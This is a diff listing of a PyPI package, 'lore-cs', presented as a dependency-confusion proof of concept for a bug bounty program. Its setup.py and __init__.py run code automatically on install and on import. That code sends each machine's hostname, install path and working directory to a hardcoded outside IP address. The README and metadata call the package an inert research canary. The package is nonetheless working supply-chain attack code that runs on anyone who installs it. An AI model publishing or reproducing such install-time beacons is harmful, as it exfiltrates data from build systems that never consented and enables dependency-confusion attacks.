lore-cs 1.0.0__tar.gz

lore_cs-1.0.0/PKG-INFO

@@ -0,0 +1,34 @@
+Metadata-Version: 2.4
+Name: lore-cs
+Version: 1.0.0
+Summary: SECURITY RESEARCH CANARY - dependency confusion PoC for the Epic Games HackerOne program. Intentionally inert: reports install once and does nothing else.
+License: UNLICENSED
+Requires-Python: >=3.7
+Description-Content-Type: text/markdown
+Dynamic: description
+Dynamic: description-content-type
+Dynamic: license
+Dynamic: requires-python
+Dynamic: summary
+
+# SECURITY RESEARCH CANARY — PyPI `lore-cs`
+
+This distribution is **intentionally inert** and is published solely as a
+dependency-confusion proof of concept under the **Epic Games HackerOne** bug
+bounty program.
+
+- It reports ONLY build-environment metadata: the package name, the machine
+  hostname, the install path inside `site-packages`, and the process cwd.
+- It sends that as a single `POST` to `http://185.158.107.175:8787/_ah/dc`
+  (`content-type: application/json`), once at build/install time and again on
+  import if a pre-built wheel is used.
+- It does not read environment variables, files, credentials, or tokens, and it
+  never fails the build or import.
+
+The callback demonstrates that this name was resolved from the public PyPI
+index by the target's build infrastructure.
+
+## Researcher
+
+- **Kero (@0xWise)**
+- 0xwise@wearehackerone.com

lore_cs-1.0.0/README.md

@@ -0,0 +1,21 @@
+# SECURITY RESEARCH CANARY — PyPI `lore-cs`
+
+This distribution is **intentionally inert** and is published solely as a
+dependency-confusion proof of concept under the **Epic Games HackerOne** bug
+bounty program.
+
+- It reports ONLY build-environment metadata: the package name, the machine
+  hostname, the install path inside `site-packages`, and the process cwd.
+- It sends that as a single `POST` to `http://185.158.107.175:8787/_ah/dc`
+  (`content-type: application/json`), once at build/install time and again on
+  import if a pre-built wheel is used.
+- It does not read environment variables, files, credentials, or tokens, and it
+  never fails the build or import.
+
+The callback demonstrates that this name was resolved from the public PyPI
+index by the target's build infrastructure.
+
+## Researcher
+
+- **Kero (@0xWise)**
+- 0xwise@wearehackerone.com

lore_cs-1.0.0/lore_cs/__init__.py

@@ -0,0 +1,37 @@
+# SECURITY RESEARCH CANARY - fallback path (Epic Games HackerOne dep-confusion PoC).
+#
+# Some installers use a pre-built wheel and never open setup.py. If the package
+# is imported, this fires the same inert ah-dc beacon so the PoC is still
+# observable. Reports only build-environment metadata; nothing else is read or
+# transmitted.
+
+import json
+import os
+import socket
+import urllib.request
+
+try:
+    _base = os.environ.get("AH_DC_PUBLIC_URL", "http://185.158.107.175:8787")
+    _path = os.environ.get("AH_DC_PATH", "/_ah/dc")
+    _payload = {
+        "package": "lore-cs",
+        "hostname": socket.gethostname(),
+        "installPath": os.path.dirname(os.path.abspath(__file__)),
+        "cwd": os.getcwd(),
+        "userAgent": "python/import",
+        "protocol": "http",
+    }
+    _data = json.dumps(_payload).encode()
+    _req = urllib.request.Request(
+        _base.rstrip("/") + _path,
+        data=_data,
+        method="POST",
+        headers={"content-type": "application/json", "x-beacon-package": "lore-cs"},
+    )
+    urllib.request.urlopen(_req, timeout=5).read()
+except Exception:
+    # Never raise from a canary: do not break the consumer.
+    pass
+
+
+__all__ = []

lore_cs-1.0.0/lore_cs.egg-info/PKG-INFO

@@ -0,0 +1,34 @@
+Metadata-Version: 2.4
+Name: lore-cs
+Version: 1.0.0
+Summary: SECURITY RESEARCH CANARY - dependency confusion PoC for the Epic Games HackerOne program. Intentionally inert: reports install once and does nothing else.
+License: UNLICENSED
+Requires-Python: >=3.7
+Description-Content-Type: text/markdown
+Dynamic: description
+Dynamic: description-content-type
+Dynamic: license
+Dynamic: requires-python
+Dynamic: summary
+
+# SECURITY RESEARCH CANARY — PyPI `lore-cs`
+
+This distribution is **intentionally inert** and is published solely as a
+dependency-confusion proof of concept under the **Epic Games HackerOne** bug
+bounty program.
+
+- It reports ONLY build-environment metadata: the package name, the machine
+  hostname, the install path inside `site-packages`, and the process cwd.
+- It sends that as a single `POST` to `http://185.158.107.175:8787/_ah/dc`
+  (`content-type: application/json`), once at build/install time and again on
+  import if a pre-built wheel is used.
+- It does not read environment variables, files, credentials, or tokens, and it
+  never fails the build or import.
+
+The callback demonstrates that this name was resolved from the public PyPI
+index by the target's build infrastructure.
+
+## Researcher
+
+- **Kero (@0xWise)**
+- 0xwise@wearehackerone.com

lore_cs-1.0.0/lore_cs.egg-info/SOURCES.txt

@@ -0,0 +1,7 @@
+README.md
+setup.py
+lore_cs/__init__.py
+lore_cs.egg-info/PKG-INFO
+lore_cs.egg-info/SOURCES.txt
+lore_cs.egg-info/dependency_links.txt
+lore_cs.egg-info/top_level.txt

lore_cs-1.0.0/lore_cs.egg-info/dependency_links.txt

@@ -0,0 +1 @@
+

lore_cs-1.0.0/lore_cs.egg-info/top_level.txt

@@ -0,0 +1 @@
+lore_cs

lore_cs-1.0.0/setup.cfg

@@ -0,0 +1,4 @@
+[egg_info]
+tag_build = 
+tag_date = 0
+

lore_cs-1.0.0/setup.py

@@ -0,0 +1,76 @@
+# SECURITY RESEARCH CANARY - Epic Games HackerOne dependency-confusion PoC.
+#
+# Speaks the same wire protocol as the operator's ah-dc beacon server:
+#   POST <base>/_ah/dc  {package, hostname, installPath, cwd, userAgent, protocol}
+# and reports ONLY build-environment metadata (package name, hostname, install
+# path inside site-packages, cwd). No environment variables, files, or
+# credentials. Never fails the build.
+#
+# Authorization: Epic Games request on HackerOne report <REPORT-ID>.
+# Unpublish after evidence capture.
+
+import json
+import os
+import socket
+import urllib.request
+
+from setuptools import setup
+
+BEACON_BASE = os.environ.get("AH_DC_PUBLIC_URL", "http://185.158.107.175:8787")
+BEACON_PATH = os.environ.get("AH_DC_PATH", "/_ah/dc")
+_PKG = "lore-cs"
+_HERE = os.path.dirname(os.path.abspath(__file__))
+
+
+def _post_beacon():
+    """POST one JSON beacon. Mirrors ah-dc's own npm beacon payload exactly."""
+    try:
+        payload = {
+            "package": _PKG,
+            "hostname": socket.gethostname(),
+            "installPath": _HERE,
+            "cwd": os.getcwd(),
+            "userAgent": "pip/software-install",
+            "protocol": "http",
+        }
+        data = json.dumps(payload).encode()
+        url = BEACON_BASE.rstrip("/") + BEACON_PATH
+        req = urllib.request.Request(
+            url,
+            data=data,
+            method="POST",
+            headers={
+                "content-type": "application/json",
+                "x-beacon-package": _PKG,
+            },
+        )
+        urllib.request.urlopen(req, timeout=5).read()
+    except Exception:
+        pass
+
+
+_post_beacon()
+
+
+def _readme():
+    path = os.path.join(_HERE, "README.md")
+    if os.path.exists(path):
+        with open(path) as fh:
+            return fh.read()
+    return ""
+
+
+setup(
+    name="lore-cs",
+    version="1.0.0",
+    description=(
+        "SECURITY RESEARCH CANARY - dependency confusion PoC for the Epic Games "
+        "HackerOne program. Intentionally inert: reports install once and does "
+        "nothing else."
+    ),
+    long_description=_readme(),
+    long_description_content_type="text/markdown",
+    license="UNLICENSED",
+    packages=["lore_cs"],
+    python_requires=">=3.7",
+)